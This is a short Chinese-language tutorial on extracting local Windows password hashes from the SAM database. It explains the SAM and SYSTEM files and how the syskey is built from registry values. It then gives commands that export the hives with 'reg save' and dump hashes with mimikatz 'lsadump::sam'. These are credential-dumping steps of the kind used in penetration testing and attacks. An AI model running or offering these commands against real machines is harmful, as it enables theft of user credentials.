通过SAM数据库获得本地用户HASH的原理

一、参考链接

https://www.cnblogs.com/zpchcbd/p/12180129.html

二、基础知识

sam文件：是用来存储本地用户账号密码的文件的数据库
system文件：里面有对sam文件进行加密和加密的密钥
存储路径

SAM文件路径：%SystemRoot%\system32\config
SYSTEM文件路径：%SystemRoot%\system32\config

三、原理

1、syskey
通过读取HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa下的键值JD、Skew1、GBG和Data中的内容，拼接成syskey，是用来加密SAM的。
https://github.com/3gstudent/Writeup/blob/master/getsyskey.cpp
2、使用syskey解密HKLM\SAM
读取注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users下每个用户中F项和V项的内容，使用syskey进行一系列的解密

四、利用

1、导出sam和system

reg save hklm\sam sam.hiv
reg save hklm\system system.hiv

2、解密工具mimikatz

lsadump::sam /sam:sam.hiv /system:system.hiv